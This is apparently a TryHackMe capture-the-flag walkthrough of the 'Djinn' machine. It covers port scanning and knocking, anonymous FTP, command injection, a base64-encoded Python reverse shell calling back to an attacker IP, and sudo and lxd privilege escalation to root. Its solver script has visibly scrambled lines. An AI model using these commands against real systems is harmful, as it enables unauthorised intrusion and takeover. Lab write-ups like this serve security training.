TryHackMe - Djinn writeup
We add the machine IP to out /etc/hosts file
echo "10.10.248.62 djinn.thm" >> /etc/hosts
Nmap Scan
nmap -sC -sV -sS -oN nmap.out djinn.thm
nmap -Pn -p- djinn.thm
Open ports:
- 21/tcp open ftp vsftpd 3.0.3
- 22/tcp filtered ssh
- 1337/tcp open waste
- 7331/tcp open swx
Enumeration
ftp -port 21
ftp allows anonymous login. So we login with username
anonymous
and null password. Found 3 files. Contents are as
following
creds.txt :
nitu:81299
SSH creds? Lets try ssh-ing into the box
We get a connection refused. So the port is closed for now.
game.txt :
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize.
A service running on port 1337.
message.txt :
@nitish81299 I am going on holidays for few days, please take care of all the work. And don't mess up anything.
Port 1337
We try connecting to the port 1337 with nc
nc djinn.thm 1337
And we get a “game” that tells us that we can get our gift after 1000 successful simple maths.
Winning the game
In order to win the game, lets write a simple python script that will perform and submit the 1000 calucultaions for us. We will be using pwntools for this. It can be installed using
sudo apt-get install python-pwntools
Our python script stands as follows:
#! /usr/bin/env python
import sys
from pwn import *
def solve(hostname, port):
= remote(hostname, port)
conn = conn.recvuntil(b"gift.\n")
banner = (conn.recvline()).decode()
problem print(problem)
= 1
count
for i in range(1001):
= int(problem.split(", ")[0][1:])
var1 = int(problem.split(", ")[2][:-2])
var2 = problem.split(", ")[1][1]
op if op=="/":
= str(var1/var2)
content elif op=="*":
= str(var1*var2)
content elif op=="+":
= str(var1+var2)
content elif op=="-":
= str(var1-var2)
content print(content + "-----------------------" + str(count))
+"\r\n").encode())
conn.send((contentif count == 1001:
while True:
print(conn.recvline())
else:
= conn.recvline().decode()
data print(data)
= data[2:]
problem = count +1
count
if __name__ == "__main__":
= sys.argv[1]
hostname = int(sys.argv[2])
port solve(hostname, port)
We run this script and wait for our gift.
python solve.py 10.10.248.62 1337
And we get our gift
These seem like port numbers: 1356, 6784, 3409
Port knock
This was new to me. Port knocking adds extra security against mass port scans. As per wikipedia, “In computer networking, port knocking is a method of externally opening ports on a firewall by generating a connection attempt on a set of prespecified closed ports. Once a correct sequence of connection attempts is received, the firewall rules are dynamically modified to allow the host which sent the connection attempts to connect over specific port(s). A variant called single packet authorization (SPA) exists, where only a single”knock” is needed, consisting of an encrypted packet. The primary purpose of port knocking is to prevent an attacker from scanning a system for potentially exploitable services by doing a port scan, because unless the attacker sends the correct knock sequence, the protected ports will appear closed. ”
So if we knock on a certain set of ports in a certain serial, it can open another port running a service. Now we saw before in out nmap scan that port 22 for SSH was “filtered”. Meaning nmap could not determine the state of the port and it can be either open or closed. As we tried to ssh into the box, we got a closed port. So maybe through knocking the ports in the seiral gotten from the port 1337 game, we can get the ssh port to open?
We try the knocking using this simple bash loop that knocks the ports using nmap
for ip in 1356, 6784, 3409; do nmap -Pn -p $ip djinn.thm; done
Now we can connect to port 22! But we see that the creds found in the ftp are not correct. We get a permission denied with the ftp found creds.
Port 7331 enum
Lets have a look at this port. Netcating it, we don’t receive anything, but we connect to it. We go to the port on browser and find a web server running.
The page doesn’t have any functionality.
ffuf fuzzing
We fuzz the URI using ffuf
ffuf -c -w /usr/share/dirbuster/directory-list-2.3-medium.txt -u \
-e .txt,.php http://djinn.thm:7331/FUZZ
We find two pages:
- /wish
- /genie
Going over to http://djinn.thm:7331/wish we find
Remote Code Executeion
So we have some sort of RCE here. We input a command id
and get redirected to the following URL
http://djinn.thm:7331/genie?name=uid%3D33%28www-data%29+gid%3D33%28www-data%29+groups%3D33%28www-data%29%0A
Reverse shell (www-data)
So the output of the command gets passed into the “name” var of the /genie page. Lets try getting a reverse shell with python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.17.253",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
And we get redirected to the following
http://djinn.thm:7331/genie?name=Wrong+choice+of+words
“Wrong choice of words”. There appears to be some filtering of the user supplied input here. Lets try base64 encoding our payload and then passing it to bash as follows:
python -c \
'import socket,subprocess,os;\
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\
s.connect((\"10.9.17.253\",1234));\
os.dup2(s.fileno(),0);\
os.dup2(s.fileno(),1);\
os.dup2(s.fileno(),2);\
p=subprocess.call([\"/bin/sh\",\"-i\"]); | base64'
And we get our encoded payload. Now we pass this payload, decode it and execute it on the box. We pass the following cmd:
echo
cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuOS4xNy4yNTMiLDEyMzQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOycK
|
base64 -d | bash
We open a nc listener on port 1234 and get a shell back.
Privilege escalation : User nitish
Looking around the machine, we find two users under the home directory:
- nitish
- sam
In the home directory of the user nitish, we find a hidden directory “.dev” that contains a file creds.txt. The file gives us the creds for the user nitish
nitish:p4************n9
Now we can login as nitish to the box using ssh.
Privilege Escalation : User sam
Checking for the sudo permissions of the user with
sudo -l
, we find the following
So the user can execute /usr/bin/genie
as the user sam.
So we run
sudo -u sam /usr/bin/genie
This prints us the usage
We can print the help message using -h
tag
Let’s look if we can find some source for the program genie using find
find / -name "*genie*" 2>/dev/null
And we find the following
We find that there is a man page for genie. Let’s have a look at it.
We see that we can get a shell with the -p tag and execute any command using the “-cmd” tag. And we see that the program runs as sam SUID. So let’s run the following and see what happens
sudo -u sam /usr/bin/genie -p /bin/bash -cmd ls
And we get a shell as user sam.
nitish@djinn:~$ sudo -u sam /usr/bin/genie -p /bin/bash -cmd ls
my man!!
$ id
uid=1000(sam) gid=1000(sam)
groups=1000(sam),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare)
$
Privilege Escalation - Root
First way - sudo permissions
Checking for sudo permissions for the user sam, we find the following
So running the following as su we get the following prompt:
The other options does not seem to give us much. So we have to somehow guess the correct number. Let’s see if we can find some source.
In the home directory of the user sam , we find a file name “.pyc”. This is supposed to be a python byte compiled file
We transfer the file to our local machine with netcat
nc 10.9.17.253 8888 < .pyc # On target
nc -lnvp 8888 > program.pyc # On host
We can decompile the pyc file using uncompyle6
uncompyle6 program.pyc > program.py
The decompiled program is as follows:
# uncompyle6 version 3.7.2
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.8.3 (default, May 17 2020, 18:15:42)
# [GCC 10.1.0]
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 13:05:18
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
def guessit():
= randint(1, 101)
num print 'Choose a number between 1 to 100: '
= input('Enter your number: ')
s if s == num: <=====================================================
'/bin/sh')
system(else:
print 'Better Luck next time'
def readfiles():
= getuser()
user = input('Enter the full of the file to read: ')
path print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
= int(input('Enter your choice: '))
choice return choice
def main(op):
if op == 1:
naughtyboi()elif op == 2:
guessit()elif op == 3:
readfiles()elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())# okay decompiling lago.pyc
So this is the source of the /root/lago file that we have the run permissions for. Analyzing the source, we see that the number supplied is comapared with a number generated randomly. Anyway, randomly trying to enter the word “num” as the number, we succeed! Couldn’t figure out why that happened though. Will update as soon as I figure it out.
Second (Cooler) way : lxc container
Looking at the box a bit more, I had a look at the group memberships
of the the user sam and found that the user is a member of the group
lxd
!
We can privesc a member of the group to root easily using this. This method has been explained really well in hackingarticles
So we download and build the alpine linux image on our host as follows:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
We get the build image
alpine-v3.12-x86_64-20200706_0859.tar.gz
. Now we need to
transfer this file to the target machine. So lets fire up a python http
server
python3 -m http.server
On the target, we download the build lxc image
wget http://10.9.17.253:8000/alpine-v3.12-x86_64-20200706_0859.tar.gz
Now let’s add this image to the lxd list
lxc image import ./alpine-v3.12-x86_64-20200706_0859.tar.gz --alias pwn
We got a permission denied saying that we cannot write to /home/nitish/.config. So our home directory is not right. So we run the following
export HOME=/home/sam
lxc image import ./alpine-v3.12-x86_64-20200706_0859.tar.gz --alias pwn
lxc image list
And now we succeed.
Now we run the following to get root. We also need to create a storage additionaly here as follows.
lxc storage create my-storage dir
lxc profile device add default root disk path=/ pool=my-storage
Then
lxc init pwn ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root \
recursive=truelxc start ignite
lxc exec ignite /bin/sh
id
And we got root!
In order to get the root flag, we go to /mnt/root/root
and find an executable proof.sh, we run it to get our flag.